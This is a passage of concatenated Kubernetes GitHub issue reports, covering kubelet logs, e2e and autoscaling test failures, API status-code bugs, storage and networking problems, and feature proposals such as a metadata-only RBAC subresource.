second grace period\r jan 23 23:26:10 k8s-master-06481525-0 docker 45689 : i0123 23:26:10.430090   45713 docker_manager.go:1605  container \ 4cfb50357530c73c278b9f58b96a9947d0abf86ba97f1154bd5be175701e8008 kube-system/kube-controller-manager-k8s-master-06481525-0\  exited after 232.150122ms\r jan 23 23:26:10 k8s-master-06481525-0 docker 45689 : i0123 23:26:10.431798   45713 mirror_client.go:84  deleting a mirror pod \ kube-controller-manager-k8s-master-06481525-0_kube-system\ \r jan 23 23:26:10 k8s-master-06481525-0 docker 45689 : i0123 23:26:10.462535   45713 kubelet.go:1797  syncloop  delete, \ api\  : \ kube-controller-manager-k8s-master-06481525-0_kube-system f9e774b7-e1c2-11e6-a240-000d3a309df9 \ \r jan 23 23:26:10 k8s-master-06481525-0 docker 45689 : i0123 23:26:10.463488   45713 kubelet.go:1791  syncloop  remove, \ api\  : \ kube-controller-manager-k8s-master-06481525-0_kube-system f9e774b7-e1c2-11e6-a240-000d3a309df9 \ \r jan 23 23:26:11 k8s-master-06481525-0 docker 45689 : i0123 23:26:11.392318   45713 kubelet_node_status.go:412  using node hostname from cloudprovider: \ k8s-master-06481525-0\ \r jan 23 23:26:12 k8s-master-06481525-0 docker 45689 : i0123 23:26:12.230654   45713 reconciler.go:189  unmountvolume operation started for volume \ kubernetes.io/host-path/eba7e523b11000e345f2732f3fbece65-var-lib-kubelet\   spec.name: \ var-lib-kubelet\   from pod \ eba7e523b11000e345f2732f3fbece65\   uid: \ eba7e523b11000e345f2732f3fbece65\  .\r jan 23 23:26:12 k8s-master-06481525-0 docker 45689 : i0123 23:26:12.230728   45713 reconciler.go:189  unmountvolume operation started for volume \ kubernetes.io/host-path/eba7e523b11000e345f2732f3fbece65-etc-kubernetes\   spec.name: \ etc-kubernetes\   from pod \ eba7e523b11000e345f2732f3fbece65\   uid: \ eba7e523b11000e345f2732f3fbece65\  .\r jan 23 23:26:12 k8s-master-06481525-0 docker 45689 : i0123 23:26:12.230803   45713 operation_executor.go:992  unmountvolume.teardown succeeded for volume \ kubernetes.io/host-path/eba7e523b11000e345f2732f3fbece65-var-lib-kubelet\   outervolumespecname: \ var-lib-kubelet\   pod \ eba7e523b11000e345f2732f3fbece65\   uid: \ eba7e523b11000e345f2732f3fbece65\  . innervolumespecname \ var-lib-kubelet\ . pluginname \ kubernetes.io/host-path\ , volumegidvalue \ \ \r jan 23 23:26:12 k8s-master-06481525-0 docker 45689 : i0123 23:26:12.230834   45713 operation_executor.go:992  unmountvolume.teardown succeeded for volume \ kubernetes.io/host-path/eba7e523b11000e345f2732f3fbece65-etc-kubernetes\   outervolumespecname: \ etc-kubernetes\   pod \ eba7e523b11000e345f2732f3fbece65\   uid: \ eba7e523b11000e345f2732f3fbece65\  . innervolumespecname \ etc-kubernetes\ . pluginname \ kubernetes.io/host-path\ , volumegidvalue \ \ \r    \r \r full  kubelet  log including a couple different attempts to modify the manifest and/or restart kubelet: http://termbin.com/xr12

in pr  36643  post 1.5 , updating the ingress-uid configmap introduced a dependency on the presence of federated ingresses. this presents a problem since federated ingress assumes that the configmap updates are already updated in every cluster. if the underlying ingresses are created before there are any configmap reconciliations, the underlying objects use different uids on every cluster. on glbc ingress, this turns into two different lbs being allocated  each with their own ids .\r \r see pr  41841 open for review\r \r cc @kzwang @nikhiljindal

ref https://github.com/kubernetes/kubernetes/issues/47344 issuecomment-312349193\r \r this is in regard to the following e2e tests checking configmap /secret/projected  update being reflected in pod volume:\r  k8s.io  configmap updates should be reflected in volume  conformance   volume \r  k8s.io  configmap optional updates should be reflected in volume  conformance   volume \r  similar ones for secret,projected \r \r this one's the last correctness test  on 5k-node cluster  that needs fixing : \r the logs for the run are here - http://gcsweb.k8s.io/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-enormous-cluster/13/\r we are using n1-standard-1 nodes running all default daemons.\r \r cc @kubernetes/sig-node-bugs @kubernetes/sig-scalability-misc @dchen1107

now that https://github.com/kubernetes/kubernetes/releases/tag/v1.8.2 exists, i propose to do the next push of the staging repos.\r \r as for the previous pushes:\r - the push script: https://gist.github.com/anonymous/60717981ae44ed23bf52809a1e7d1356  updated oct 27 \r - the last heads for a potential rollback: https://gist.github.com/anonymous/f24e88ebe3b5b3846d9d4c07dc746dde  updated oct 26 \r - the test script: https://gist.github.com/anonymous/f228c70627170a30a9c69f1789181594  updated oct 27 \r \r the test script was run successfully.\r \r we restrict the push to master and the 1.8 branches because https://github.com/kubernetes/kubernetes/pull/53583 blocks 1.7 right now  and probably similarly for 1.6, 1.5 if we want to keep them up-to-date at all .

 \r i have several situations with controllers - in particular around secrets - where i'd _like_ to be able to say \ you can create+find+delete the resources you want, but not read them\ .  right now, \ finding\  implies having full read access, since list/watch/get gives you the entire resource definition  and status .\r \r crazy suggestion:  implement a common  .../metadata  subresource that returns  just  the objectmeta/typemeta.  this can then be used in rbac rules to allow list/watch and delete    without giving access to the full body.\r \r      perhaps delete is only allowed on the parent resource - i imagine it will be simpler if the subresource can't be mutated.  this assumes the subresource uid/resourceversion is the same as the parent, so we can avoid races between reading subresource and manipulating parent resource.

is this a bug report or feature request?  :\r  \r   what happened  :\r \r in https://github.com/kubernetes/kubernetes/issues/54637 issuecomment-344584988 we found that horizontal pod autoscaler test fails on large clusters, despite its deployment under test is tiny  1-2 nodes . the conclusion was that the reason is most likely that heapster fails to scrape metrics from thousands of nodes in a timely manner  the test does pass on large scale, but very rarely .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run a gce-large-correctness job  2k nodes .\r \r   anything else we need to know?  :\r \r interestingly, on 2k gke cluster the hpa tests pass: https://github.com/kubernetes/kubernetes/issues/54637 issuecomment-344587938

is this a bug report or feature request?  :\r   \r   what happened  :\r when i run  hack/update-bazel.sh  it fails with error:\r    console\r $ hack/update-bazel.sh \r f0122 16:33:56.334332    5489 kazel.go:76  err walking generated: openapi-gen path outside of k8s.io/kubernetes: home/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/apis/abac/v0\r goroutine 1  running :\r github.com/kubernetes/repo-infra/vendor/github.com/golang/glog.stacks 0xc420075700, 0xc420242000, 0xb9, 0x10d \r \t/tmp/tmp.c69ewebvp3/go/src/github.com/kubernetes/repo-infra/vendor/github.com/golang/glog/glog.go:766 +0xcf\r github.com/kubernetes/repo-infra/vendor/github.com/golang/glog.  loggingt .output 0x6e88e0, 0xc400000003, 0xc420240000, 0x6ca542, 0x8, 0x4c, 0x0 \r \t/tmp/tmp.c69ewebvp3/go/src/github.com/kubernetes/repo-infra/vendor/github.com/golang/glog/glog.go:717 +0x322\r github.com/kubernetes/repo-infra/vendor/github.com/golang/glog.  loggingt .printf 0x6e88e0, 0xc400000003, 0x5ebb23, 0x19, 0xc42019bee0, 0x1, 0x1 \r \t/tmp/tmp.c69ewebvp3/go/src/github.com/kubernetes/repo-infra/vendor/github.com/golang/glog/glog.go:655 +0x14c\r github.com/kubernetes/repo-infra/vendor/github.com/golang/glog.fatalf 0x5ebb23, 0x19, 0xc42019bee0, 0x1, 0x1 \r \t/tmp/tmp.c69ewebvp3/go/src/github.com/kubernetes/repo-infra/vendor/github.com/golang/glog/glog.go:1145 +0x67\r main.main  \r \t/tmp/tmp.c69ewebvp3/go/src/github.com/kubernetes/repo-infra/kazel/kazel.go:76 +0x2d4\r !!! error in hack/update-bazel.sh:51\r   error in hack/update-bazel.sh:51. 'kazel' exited with status 255\r call stack:\r   1: hack/update-bazel.sh:51 main ... \r exiting with status 1\r    \r \r   what you expected to happen  :\r 1  it shouldn't panic\r 2  it should show human readable error with suggestions how developer may fix it\r \r   environment  :\r client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.0-beta1\ , gitcommit:\ 3258431\ , gittreestate:\ clean\ , builddate:\ 2018-01-08t18:34:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    console\r $ pwd\r /home/coder/git/src/home/kubernetes\r $ echo $gopath \r /home/coder/git\r    \r

for the 1.9 cycle we have incremental update to etcd 3.1.10 at https://github.com/kubernetes/kubernetes/issues/49386\r \r for the 1.10 cycle, we should update the etcd to  3.2.x  https://github.com/coreos/etcd/blob/master/changelog.md v3214-2018-01-11  to pick up the latest fix for etcd. \r \r we have did regression test for etcd 3.2.14 with both 1.9.x and master, it works fine.\r \r /cc @kubernetes/sig-cluster-lifecycle-misc @kubernetes/sig-scalability-misc @kubernetes/sig-api-machinery-misc

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r pull-kubernetes-e2e-kops-aws failed  60065  see https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/60065/pull-kubernetes-e2e-kops-aws/77698/ , with these complaints in build-log.txt:\r    \r ...\r w0228 19:37:19.722  ____unknown host: storage.googleapis.com\r w0228 19:37:19.742  error: /go/src/k8s.io/kubernetes/build/debs/build:83:1: no such package '@kubernetes_cni//file': error downloading  https://storage.googleapis.com/kubernetes-release/network-plugins/cni-amd64-0799f5732f2a11b329d9e3d51b9c8f2e3759f2ff.tar.gz  to /root/.cache/bazel/_bazel_prow/48d5366022b4e3197674c8d6e2bee219/external/kubernetes_cni/cni-amd64-0799f5732f2a11b329d9e3d51b9c8f2e3759f2ff.tar.gz: unknown host: storage.googleapis.com and referenced by '//build/debs:kubernetes-cni-data'.\r w0228 19:37:20.119  error: analysis of target '//:push-build' failed; build aborted.\r w0228 19:37:20.122  ____elapsed time: 35.386s\r w0228 19:37:20.123  error: build failed. not running target.\r ...\r    \r \r   what you expected to happen  :\r i expected the test infrastructure to not fail.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r \r   \r \r   what happened  :\r \r 1. \r \r delete namespace with option {\ propagationpolicy\ :\ foreground\ } returns 200 code.\r    \r root@szx1000353068:/  curl -x delete -h \ content-type: application/json\  http://127.0.                    0.1:8080/api/v1/namespaces/xuzhonghu -d '{\ propagationpolicy\ :\ foreground\ }' -iv\r   hostname was not found in dns cache\r     trying 127.0.0.1...\r   connected to 127.0.0.1  127.0.0.1  port 8080   0 \r > delete /api/v1/namespaces/xuzhonghu http/1.1\r > user-agent: curl/7.35.0\r > host: 127.0.0.1:8080\r > accept:  / \r > content-type: application/json\r > content-length: 34\r >\r   upload completely sent off: 34 out of 34 bytes\r < http/1.1 200 ok\r http/1.1 200 ok\r \r    \r \r 1. delete namespace with option {\ orphandependents\ :false} returns 202 code.\r \r    \r root@szx1000353068:/  curl -x delete -h \ content-type: application/json\  http://127.0.0.1:8080/api/v1/namespaces/xuzhonghu -d '{\ orphandependents\ :false}' -iv\r   hostname was not found in dns cache\r     trying 127.0.0.1...\r   connected to 127.0.0.1  127.0.0.1  port 8080   0 \r > delete /api/v1/namespaces/xuzhonghu http/1.1\r > user-agent: curl/7.35.0\r > host: 127.0.0.1:8080\r > accept:  / \r > content-type: application/json\r > content-length: 26\r >\r   upload completely sent off: 26 out of 26 bytes\r < http/1.1 202 accepted\r http/1.1 202 accepted\r \r    \r \r as  orphandependents  was deprecated and  propagationpolicy  is recommended to use, apiserver should return same code 202.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r when use ceph as storageclass, i set accessmodes:  readonlymany, and create pods using the claim, only one pod would be running and the others on different nodes would get stuck on containercreating. but if the pods are all on same node, it works fine. \r \r   what you expected to happen  :\r pods on different nodes can mount ceph rbd volume.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r   cat pvc.yaml\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: ceph-claim\r spec:\r   accessmodes:\r     - readonlymany\r   resources:\r     requests:\r       storage: 2gi\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.2\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release : 3.10.0-327.18.2.el7.x86_64\r - kernel  e.g.  uname -a  : centos linux release 7.2.1511  core \r - install tools: kubeadm\r - others:\r

we expect the output of  rkt status  to have 3 fields  id, image, and status  whereas during  prepare  the images often have only 2 fields  id and status   /cc @yifan-gu @jonboulle @dchen1107

hello,  i stumbled over this issue during installing openshift which is based on kubernetes. the problem is that the --to-destination points to the gateway address of my network instead of the host ip. therefore the nodes are not reachable.  e.g.       -a kube-portals-host -d 172.30.0.1/32 -p tcp -m comment --comment \ default/kubernetes:https\  -m tcp --dport 443 -j dnat --to-destination   176.x.x.225:33790        it looks like that in  /pkg/util/util.go  the wrong ip is determines.  > > route -v -n      destination     gateway         genmask         flags metric ref    use iface 0.0.0.0           176.x.x.225       0.0.0.0         ug    0      0        0 eth0 169.254.0.0     0.0.0.0         255.255.0.0     u     1002   0        0 ethic   176.x.x.225       0.0.0.0         255.255.255.255 uh    0      0        0 ethic      where   176.x.x.225   is the gateway that is used.  my real ip is;  > > ifconfig  > >  > >     > > eth0: flags=4163<up,broadcast,running,multicast>  mtu 1500 > >         inet   176.x.x.251    netmask 255.255.255.255  broadcast 176.x.x.251 > >         inet6 2a01:4f8:x:51x::2  prefixlen 64  scopeid 0x0<global> > >         inet6 fe80::5246:x:fe4d:2101  prefixlen 64  scopeid 0x20<link> > >         ether 50:46:x:4d:x:01  txqueuelen 1000   ethernet  > >         rx packets 10837  bytes 1025499  1001.4 kib  > >         rx errors 0  dropped 1806  overruns 0  frame 0 > >         tx packets 8088  bytes 1568198  1.4 mib  > >         tx errors 0  dropped 0 overruns 0  carrier 0  collisions 0 > >      the gateway needs to be configured as scope peer 176.x.x.225 in the sysconfig/network/ifcfg-eth0 for my hoster  hetzner .  is there a way to override the ip to be used or can someone give me a hint if that is the right place for a fix in the util.go?  thank you, wolfgang

both https://github.com/kubernetes/kubernetes/blob/master/pkg/client/unversioned/persistentvolumeclaim.go and https://github.com/kubernetes/kubernetes/blob/master/pkg/client/unversioned/replication_controllers.go, and possibly others, use incorrect case in the  resource \ \    sections. i'm not quite sure how it's working at all, since when i start a cluster and try to use the path, i get a 404, e.g.  https://146.148.88.233/api/v1/namespaces/default/persistentvolumeclaims :      {   \ kind\ : \ status\ ,   \ apiversion\ : \ v1\ ,   \ metadata\ : {},   \ status\ : \ failure\ ,   \ message\ : \ the server could not find the requested resource\ ,   \ reason\ : \ notfound\ ,   \ details\ : {},   \ code\ : 404 }      @madhusudancs  who reported this : all lowercase is correct, like i thought.  @caesarxuchao presumably your generated client will not have this, right? in that case, i think all that needs to be done here is to understand why this works currently. i'm not entirely sure if auto-fixing the case is a feature or a bug.

hi, i'm sorry to not have time  i'm really very busy    to setup a test environment or provide more concrete evidences of that bug, but i've found that some nodes in my kubernetes cluster   1.3.0   crashed, kicking me out of ssh session and become unresponsive   i had to login on my vps provider control panel and trigger a hard reboot of the vps every time    some vps seems to be more stable then others   i don't know why   and can survive petset deletion , some others die every time i :   create a petset that have a pod with terminationgraceperiodseconds: 0 , then delete petset && delete pod   boom , in 3 seconds the vps become unreachable via ssh and i must trigger a manual reboot notes : -  all machines run ubuntu 16.04 lts x86 , kubernetes 1.3.0  i dont' know if the new  alpha have same issue    i've removed all moving parts, the test has been executed with a simple busyboox in sleep mode    sample petset + errorlog   -> https://gist.github.com/fvigotti/9715ea8155867d7c492110f6abd2433b  then for me running: kubectl apply -f petset.yml ; sleep 10 ; k delete petset jenkins ; k delete pods jenkins-0   causes machine crash

when i've tried to enable the  batch/v2alpha1  api group in our integration tests i've noticed following failure:      rbac_test.go:453: case 1, req 8: job-writer get jobs expected \ 200 ok\  got \ 404 not found\  rbac_test.go:453: case 1, req 10: job-writer post jobs expected \ 201 created\  got \ 404 not found\  rbac_test.go:453: case 1, req 11: job-writer get jobs expected \ 200 ok\  got \ 404 not found\  rbac_test.go:453: case 1, req 12: job-writer-namespace get jobs expected \ 200 ok\  got \ 404 not found\  rbac_test.go:453: case 1, req 14: job-writer-namespace post jobs expected \ 201 created\  got \ 404 not found\  rbac_test.go:453: case 1, req 15: job-writer-namespace get jobs expected \ 200 ok\  got \ 404 not found\       i've looked into the rbac tests and it looks like it should work, iow.  this rule definition  https://github.com/kubernetes/kubernetes/blob/d6854cbb6b65421471ecda56e0f5e144a6cdb1c8/test/integration/auth/rbac_test.go l273-l277  is written in such a way that it's not versioned in any way, but apparently it's not.   i'm hoping to look into this one once all the main scheduledjobs are ready.  /cc @erictune @janetkuo

kubernetes version    use  kubectl version  :\r openshift v1.3.0-alpha.3\r kubernetes v1.3.0+507d3a7\r \r   environment  :\r -   cloud provider or hardware configuration  : vagrant image\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  : linux vagrant 4.2.3-300.fc23.x86_64  1 smp mon oct 5 15:42:54 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r 1. created an openshift deployment config that includes a resource memory limit for a container: https://gist.github.com/jcantrill/8a93c29bd51498783cce930da1ae633a file-gistfile1-txt-l40\r 2. tried to create object and failed with: https://github.com/kubernetes/kubernetes/blob/master/pkg/api/resource/quantity.go l153\r   what you expected to happen  :\r expected object to create it.\r \r   how to reproduce it    as minimally and precisely as possible :\r oc create -f <filename>\r \r   anything else do we need to know  :\r changing the value from '512mi' to '512mi' allowed me to successfully create object.\r \r

kubernetes version info\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4\ , gitcommit:\ dd6b458ef8dbf24aff55795baa68f83383c9b3a9\ , gittreestate:\ clean\ , builddate:\ 2016-08-01t16:45:16z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.7\ , gitcommit:\ 92b4f971662de9d8770f8dcd2ee01ec226a6f6c0\ , gittreestate:\ clean\ , builddate:\ 2016-12-10t04:43:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r      client environment\r \r   14.04.5 lts, trusty tahr\r   linux 6b327be4fdfc 4.4.27-moby  1 smp wed oct 26 14:21:29 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r      what happened\r \r   added an additional port to a kubernetes service resource manifest.\r   ran apply on the manifest file to update the service with additional port\r   ran describe on the service only to see  creating loadbalancer  last seen 2 min ago.\r \r    \r events:\r   firstseen     lastseen        count   from                    subobjectpath   type            reason                  message\r   ---------     --------        -----   ----                    -------------   --------        ------                  -------\r   2h            3m              2       {service-controller }                   normal          creatingloadbalancer    creating load balancer\r   2h            3m              2       {service-controller }                   normal          createdloadbalancer     created load balancer\r \r    \r \r      expected\r \r don't tell me you recreated a load balancer if you didnt? : \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-autoscaling/1321/ multiple broken tests:  failed:  k8s.io  cluster size autoscaling  slow  should increase cluster size if pods are pending due to host port conflict  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:97 expected error:     < errors.errorstring | 0xc4208d5b00>: {         s: \ timeout waiting 15m0s for cluster size to be 3\ ,     }     timeout waiting 15m0s for cluster size to be 3 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:96     issues about this test specifically:  33793  35108  35744   failed:  k8s.io  cluster size autoscaling  slow  shouldn't increase cluster size if pending pod is too large  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:91 expected     <int>: 5 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:81     issues about this test specifically:  34581   failed: test {e2e.go}      exit status 1     issues about this test specifically:  33361  38663   failed:  k8s.io  cluster size autoscaling  slow  should correctly scale down after a node is not needed  feature:clustersizeautoscalingscaledown  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:91 expected     <int>: 5 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:81     issues about this test specifically:  33891   failed:  k8s.io  cluster size autoscaling  slow  should increase cluster size if pending pods are small and there is another node pool that is not autoscaled  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:91 expected     <int>: 5 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:81     issues about this test specifically:  34764   failed:  k8s.io  cluster size autoscaling  slow  should correctly scale down after a node is not needed when there is non autoscaled pool feature:clustersizeautoscalingscaledown  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:91 expected     <int>: 5 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:81     issues about this test specifically:  34102   failed:  k8s.io  cluster size autoscaling  slow  should increase cluster size if pending pods are small  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:91 expected     <int>: 5 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:81     issues about this test specifically:  34211   failed:  k8s.io  cluster size autoscaling  slow  should add node to the particular mig  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:91 expected     <int>: 5 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:81     issues about this test specifically:  33754   failed:  k8s.io  cluster size autoscaling  slow  should disable node pool autoscaling  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:91 expected     <int>: 5 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:81     issues about this test specifically:  33804   failed:  k8s.io  cluster size autoscaling  slow  should scale up correct target pool  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:91 expected     <int>: 5 to equal     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:81     issues about this test specifically:  33897  37458  previous issues for this suite:  36935

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-100-gce/1689/\r \r pod  density3000-0-d8af0875-03fc-11e7-a59e-0242ac110004-6zvtn  has a restart count 1\r \r fyi, all relevant messages about this pod in the kubelet.log:\r https://gist.github.com/yujuhong/b1dc4fecfe835944d1cd5c6f67f006ed\r \r from the sync loop timeline, some containers died.\r    \r 12:44:57.602374       9 kubelet.go:1808  syncloop  add, \ api\  : \ density3000-0-d8af0875-03fc-11e7-a59e-0242ac110004-6zvtn_e2e-tests-density-30-1-tprgr 094859d4-03fd-11e7-81ad-42010af00006 \ \r 12:44:58.787422       9 kubelet.go:1842  syncloop  pleg : \ density3000-0-d8af0875-03fc-11e7-a59e-0242ac110004-6zvtn_e2e-tests-density-30-1-tprgr 094859d4-03fd-11e7-81ad-42010af00006 \ , event: &pleg.podlifecycleevent{id:\ 094859d4-03fd-11e7-81ad-42010af00006\ , type:\ containerdied\ , data:\ 88d185ba4599ed5e\ }\r 12:44:59.791857       9 kubelet.go:1842  syncloop  pleg : \ density3000-0-d8af0875-03fc-11e7-a59e-0242ac110004-6zvtn_e2e-tests-density-30-1-tprgr 094859d4-03fd-11e7-81ad-42010af00006 \ , event: &pleg.podlifecycleevent{id:\ 094859d4-03fd-11e7-81ad-42010af00006\ , type:\ containerstarted\ , data:\ 40194345840e54d9\ }\r 12:45:00.971051       9 kubelet.go:1842  syncloop  pleg : \ density3000-0-d8af0875-03fc-11e7-a59e-0242ac110004-6zvtn_e2e-tests-density-30-1-tprgr 094859d4-03fd-11e7-81ad-42010af00006 \ , event: &pleg.podlifecycleevent{id:\ 094859d4-03fd-11e7-81ad-42010af00006\ , type:\ containerdied\ , data:\ 40194345840e54d9\ }\r 12:45:00.971110       9 kubelet.go:1842  syncloop  pleg : \ density3000-0-d8af0875-03fc-11e7-a59e-0242ac110004-6zvtn_e2e-tests-density-30-1-tprgr 094859d4-03fd-11e7-81ad-42010af00006 \ , event: &pleg.podlifecycleevent{id:\ 094859d4-03fd-11e7-81ad-42010af00006\ , type:\ containerstarted\ , data:\ 40194245840e5326\ }\r 12:45:00.971153       9 kubelet.go:1842  syncloop  pleg : \ density3000-0-d8af0875-03fc-11e7-a59e-0242ac110004-6zvtn_e2e-tests-density-30-1-tprgr 094859d4-03fd-11e7-81ad-42010af00006 \ , event: &pleg.podlifecycleevent{id:\ 094859d4-03fd-11e7-81ad-42010af00006\ , type:\ containerstarted\ , data:\ 88d185ba4599ed5e\ }\r 12:49:32.331263       9 kubelet.go:1824  syncloop  delete, \ api\  : \ density3000-0-d8af0875-03fc-11e7-a59e-0242ac110004-6zvtn_e2e-tests-density-30-1-tprgr 094859d4-03fd-11e7-81ad-42010af00006 \ \r 12:49:33.104486       9 kubelet.go:1842  syncloop  pleg : \ density3000-0-d8af0875-03fc-11e7-a59e-0242ac110004-6zvtn_e2e-tests-density-30-1-tprgr 094859d4-03fd-11e7-81ad-42010af00006 \ , event: &pleg.podlifecycleevent{id:\ 094859d4-03fd-11e7-81ad-42010af00006\ , type:\ containerdied\ , data:\ 40194245840e5326\ }\r 12:49:33.104541       9 kubelet.go:1842  syncloop  pleg : \ density3000-0-d8af0875-03fc-11e7-a59e-0242ac110004-6zvtn_e2e-tests-density-30-1-tprgr 094859d4-03fd-11e7-81ad-42010af00006 \ , event: &pleg.podlifecycleevent{id:\ 094859d4-03fd-11e7-81ad-42010af00006\ , type:\ containerdied\ , data:\ 88d185ba4599ed5e\ }\r 12:49:34.118279       9 kubelet.go:1824  syncloop  delete, \ api\  : \ density3000-0-d8af0875-03fc-11e7-a59e-0242ac110004-6zvtn_e2e-tests-density-30-1-tprgr 094859d4-03fd-11e7-81ad-42010af00006 \ \r 12:49:34.121374       9 kubelet.go:1818  syncloop  remove, \ api\  : \ density3000-0-d8af0875-03fc-11e7-a59e-0242ac110004-6zvtn_e2e-tests-density-30-1-tprgr 094859d4-03fd-11e7-81ad-42010af00006 \ \r    \r \r check the log again:\r    \r i0308 12:44:57.908490       9 kuberuntime_manager.go:370  no sandbox for pod \ density3000-0-d8af0875-03fc-11e7-a59e-0242ac110004-6zvtn_e2e-tests-density-30-1-tprgr 094859d4-03fd-11e7-81ad-42010af00006 \  can be found. need to start a new one\r i0308 12:44:57.909301       9 kuberuntime_manager.go:549  computepodcontainerchanges got {createsandbox:true sandboxid: attempt:0 containerstostart:map 0:container {name:density3000-0-d8af0875-03fc-11e7-a59e-0242ac110004 image:gcr.io/google_containers/pause-amd64:3.0 command:   args:\r    workingdir: ports: {name: hostport:0 containerport:80 protocol:tcp hostip:}  envfrom:   env:   resources:{limits:map   requests:map memory:{i:{value:40265318 scale:0} d:{dec:<nil>} s:40265318 format:decimalsi} cpu:{i:{value:10 scale:-3} d:{dec:<nil>} s:10m format:decimalsi} } volu\r memounts: {name:default-token-xl0xh readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath:}  livenessprobe:nil readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:ifnotpresent securityconte\r xt:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.  containerstokeep:map   containerstokill:map   initfailed:false initcontainerstokeep:map  } for pod \ 